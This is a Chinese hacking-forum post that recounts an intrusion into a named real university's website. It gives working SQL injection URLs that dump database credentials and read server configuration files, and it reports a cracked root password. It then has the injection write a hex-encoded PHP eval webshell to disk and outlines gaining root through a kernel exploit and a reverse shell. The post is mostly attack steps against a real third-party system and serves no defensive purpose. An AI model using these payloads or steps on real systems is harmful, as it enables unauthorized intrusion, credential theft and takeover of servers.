找回密码
 立即注册
查看: 3079|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析4 o8 `5 {4 q) q# C

- _) o/ J; I2 u8 B* ^http://www.doshisha.ac.jp/chs/news/index.php?i=-1! S* K/ {+ T- z, _  r) q! E4 I5 W9 C
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:# R( p" W0 l) y2 b; g

+ ?6 L7 T% c2 zhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
# k; X, a. r$ D: |! e
: L) {2 Q* I! P. T  L8 k $ q& v0 d. B8 K: M9 V
3 ]" j9 s7 _( Q: a: I$ ?# G4 d+ r# L3 g
//@@datadir为数据库文件路径
. G' f& B$ E  Z 0 L; w; t1 D% F+ x! a$ O4 Y9 S
5 h0 g8 }  n# ~- ~4 P
//load_file读取网站容器apache的配置文件 + ]+ B8 s5 M% m

. ?6 u3 W2 _1 [( L, {* V, ]  m. a  T' S) Y  i+ S
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
4 ~  J' [" N5 K/ T复制代码2 ?& w3 k2 g/ D2 z
, h: b! s2 l8 \1 R6 f4 n2 P1 E
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。% w" E6 F; L$ f" b3 F* e& ]
5 c1 u% _* }. D
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。& m+ v8 U6 ~7 L+ o
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)! n" {1 ^, D9 z" w! @
) w% p. p+ q) p. l2 R
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。7 T2 ]9 G% i1 B( Y7 }
如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html) T. t# k' d9 \; _5 I+ Z- s$ \: Y

" U3 T. Z' s) l$ y/ K既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
6 p/ w. E7 V, m- p+ D& {0 m虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。/ s4 `( k+ F* _  e3 Y3 l
直接写一句话:
& s$ U$ z* y8 K2 Y! K* b9 i: M4 i
: u  t/ C" y  B1 S: V7 [: K/ phttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#" B  `! `% T: b8 Y/ l9 L

' z( p+ l) U+ d9 t6 J3 V; p
" d) o# u* r1 N0 J4 k& x6 J+ a0 [8 @5 x7 J0 M, f8 J# b% z% P
//最后的#是为了闭合前面的语句
2 f* `* Q8 N! v8 x$ e% W
1 S9 }2 f" ?9 t9 J7 g* ^7 P- ~8 @6 V2 i; X+ ?+ Q
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E ) Y' x) u# ]1 f. P$ C
/ [' I  z4 s6 i+ H5 A$ O; R7 H/ {
5 _$ S; d  x; I* g' [
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ 2 o* B5 o  r  L+ V
( n% m: ]0 i/ h- t
( W1 c5 o% L: p
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 ' X+ G1 \$ i4 T
( \: E$ `# Z5 k; r8 i  K: v% A" F4 V

: t% [# M& K# {3 ^8 j6 S9 \7 v//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 9 D7 \' G! B7 c) S4 Z& x# q: f
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” & E, i# `: E* i, f: F
复制代码( J/ J- X. S; z' p; X7 Q4 k
  g8 D0 c) ?  r6 q
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
, x8 S" K; _: C/ O; T通过上述注入语句,我们就得到了一句话木马:
; |3 B( Y! B  Q1 t" k; |2 }; D9 ]( \4 u$ O

7 j! P" j; P4 Y9 O6 Y2 h1 S% S7 H$ q8 O) D+ _

: i9 X( H0 l, i+ S3 r% G2 u: a% v# w* W2 n
http://www.doshisha.ac.jp/english/engnews_img/aa.php $ M/ {1 Q2 q5 D7 c5 y9 A+ M9 L
复制代码
# Y4 X/ ^8 L0 P7 W& C! `; Z
* i' K5 Y- N6 `" V) U/ d用菜刀连接,密码是cmd,如图所示:! G+ F0 i" A  H" R. y! W; B9 l& N
然后在命令提示行里看了一下,现在的权限是:
3 Q+ k* V$ I! S0 x, f, d1 q3 H, i  u2 H6 {, |
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
. H, A3 Z2 {6 @5 }好在赋权给这个文件夹不需要root,直接执行赋权语句:, l. ?" G  `2 |9 m; c" Q% N
: a& J& q, b+ H) a/ x$ M
& v; T. u) ?" f1 C
. w9 l  F2 w2 V1 `5 K8 ?

. Q0 r8 j+ N( Y6 q, j% ?' U) s3 e0 c
. H9 [1 [( E% jchmod +x /tmp/
0 J6 I1 _! P  Z6 a+ B- s. T8 ~复制代码9 G5 g) }1 Z  f! u; {  U9 }0 m, Q
$ I9 p1 c! B; t4 h
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
3 X) L4 M1 F/ G/ T$ A; I. c. }8 A7 q然后就查了一下内核版本:1 L$ [! u" W% j7 g4 P3 @
5 H5 _! l. b- e
& y1 B' M/ y8 V$ I" x+ y3 T/ M
% Y# E4 b: N* @
/ y" `% ^9 O8 ]9 g

! w. _/ B: ~$ i. W+ H8 s1 d- [uname-a
) f6 a5 w- x5 C0 w  o 5 k  F+ U- A9 }& G
0 H& M) L' h9 w7 [) p
//其实lsb_release -a $ ^- B# U& S1 [* y
复制代码" V# R* i$ O: y/ h- x' P( s

* W' L% ]- }# f# Y如图所示:
% t9 p$ q" b/ `1 Y' e* {
( M' t( m& r1 s; {* r+ ~1 A内核版本:linux mainz1 2.6.28-194.e15+ b9 Z" D& A' B. R. g8 \; z
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
6 U& _- T* a3 u+ W0 j* g# e# r查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹0 p0 |+ \: w( Z+ f9 l# O
7 R7 y# W/ S6 P
然后给予执行权限) L7 L3 s% X8 E' P
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样& j0 R% A* p/ z8 U! Z3 O

' H* O0 X8 D$ n) n, a2 N 5 D- @/ p, q( ~1 C. ~1 Z) m9 j

" Y6 A1 K) u7 g7 x/ U* i ( l! V/ ]7 N8 V* y; i
# c3 R; C8 ?# J! d; A# ]. f
chmod +x /tmp/2.6.18-194 * \6 H$ D: h( y1 v: z- b+ R4 |
复制代码 然后直接执行!~
0 c- n# o4 u# o; g. X- ]+ E( Y" r2 @9 T  [$ _: M
总结:
3 N* S, f! Q8 H7 U0 H# b7 |这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了8 _2 x4 K4 z2 T2 @3 {! c! c1 J$ _
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root2 {5 U% G3 a$ Y9 T' G
* ]4 R7 J4 V8 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表